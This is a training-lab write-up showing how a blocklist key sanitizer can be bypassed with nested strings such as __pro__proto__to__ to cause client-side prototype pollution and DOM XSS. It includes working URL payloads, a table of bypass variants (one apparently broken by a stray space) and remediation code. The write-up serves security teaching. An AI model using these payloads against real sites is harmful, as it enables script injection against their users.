Client-Side Prototype Pollution via Flawed Sanitization
Overview
Lab: Client-side prototype pollution via flawed sanitization Platform: PortSwigger Web Security Academy Vulnerability: Prototype Pollution with Sanitization Bypass -> DOM XSS Difficulty: Practitioner
Vulnerability Analysis
The Sanitization Attempt
function sanitizeKey(key) {
let badProperties = ['constructor','__proto__','prototype'];
for(let badProperty of badProperties) {
key = key.replaceAll(badProperty, '');
}
return key;
}
The sanitizer:
- Maintains a blocklist of dangerous properties
- Iterates through each bad property sequentially
- Uses
replaceAll()to remove all occurrences - Returns the “sanitized” key
The Flaw
The sanitization is sequential and non-recursive. After removing a bad word, it doesn’t re-check if the result contains a bad word.
This allows nested payloads where removing the inner bad word creates the outer bad word.
The Gadget
async function searchLogger() {
let config = {params: deparam(new URL(location).searchParams.toString())};
if(config.transport_url) {
let script = document.createElement('script');
script.src = config.transport_url;
document.body.appendChild(script);
}
}
Same as previous labs - transport_url is not an own property, so prototype pollution can supply it.
The Bypass
Constructing the Nested Payload
Target: __proto__
Split it: __pro + to__
Insert __proto__ in the middle: __pro + __proto__ + to__ = __pro__proto__to__
Tracing the Sanitization
Input: __pro__proto__to__
- Remove
constructor: No match ->__pro__proto__to__ - Remove
__proto__: Found at position 5 ->__pro+to__=__proto__ - Remove
prototype: No match ->__proto__
Result: __proto__
Solution
Payload
?__pro__proto__to__[transport_url]=data:,alert(document.domain)
Attack Flow
- URL parameter key:
__pro__proto__to__[transport_url] - Sanitizer processes key, removes middle
__proto__ - Resulting key:
__proto__[transport_url] - Deparam sets
Object.prototype.transport_url = "data:,alert(document.domain)" config.transport_urlinherits from polluted prototype- Script injection executes
Alternative Bypass Patterns
Other nested constructions that would work:
| Target | Nested Payload | After Sanitization |
|---|---|---|
__proto__ |
__pro__proto__to__ |
__proto__ |
constructor |
conconstructor structor |
constructor |
prototype |
protoprototypetype |
prototype |
For constructor.prototype access:
?conconstructor structor[protoprototypetype][transport_url]=data:,alert()
For comprehensive bypass techniques, see: Sanitization Bypass Techniques
Key Takeaways
- Sequential sanitization is flawed: Processing bad words one at a time allows nested bypasses
- Non-recursive removal is vulnerable: After removing a pattern, the result should be re-checked
- Blocklist approaches are fragile: There are many ways to represent the same property access
- Defense in depth matters: Sanitization alone isn’t enough; also initialize expected properties
Remediation
- Recursive sanitization - Keep removing until no bad properties remain:
function sanitizeKey(key) { let badProperties = ['constructor','__proto__','prototype']; let previousKey; do { previousKey = key; for (let badProperty of badProperties) { key = key.replaceAll(badProperty, ''); } } while (key !== previousKey); return key; } - Allowlist instead of blocklist - Only permit known-safe characters:
function sanitizeKey(key) { return key.replace(/[^a-zA-Z0-9_]/g, ''); } - Use Object.create(null) - Objects without prototype inheritance
- Check hasOwnProperty - Before accessing potentially polluted properties
- Initialize all expected properties - Prevent prototype lookup